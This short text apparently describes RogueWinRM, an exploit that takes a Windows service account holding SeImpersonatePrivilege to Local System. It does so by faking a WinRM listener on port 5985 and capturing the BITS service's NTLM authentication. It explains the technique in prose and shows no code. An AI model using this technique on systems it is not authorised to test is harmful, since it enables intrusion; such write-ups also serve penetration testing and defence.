RogueWinRM : Windows Local Privilege Escalation From Service Account To System

RogueWinRM is a local privilege escalation exploit that allows to escalate from a Service account (with SeImpersonatePrivilege) to Local System account if WinRM service is not running (default on Win10 but NOT on Windows Server 2019).

Briefly, it will listen for incoming connection on port 5985 faking a real WinRM service.
It’s just a minimal webserver that will try to negotiate an NTLM authentication with any service that are trying to connect on that port.
Then the BITS service (running as Local System) is triggered and it will try to authenticate to our rogue listener. Once authenticated to our rogue listener, we are able to impersonate the Local System user spawning an arbitrary process with those privileges.
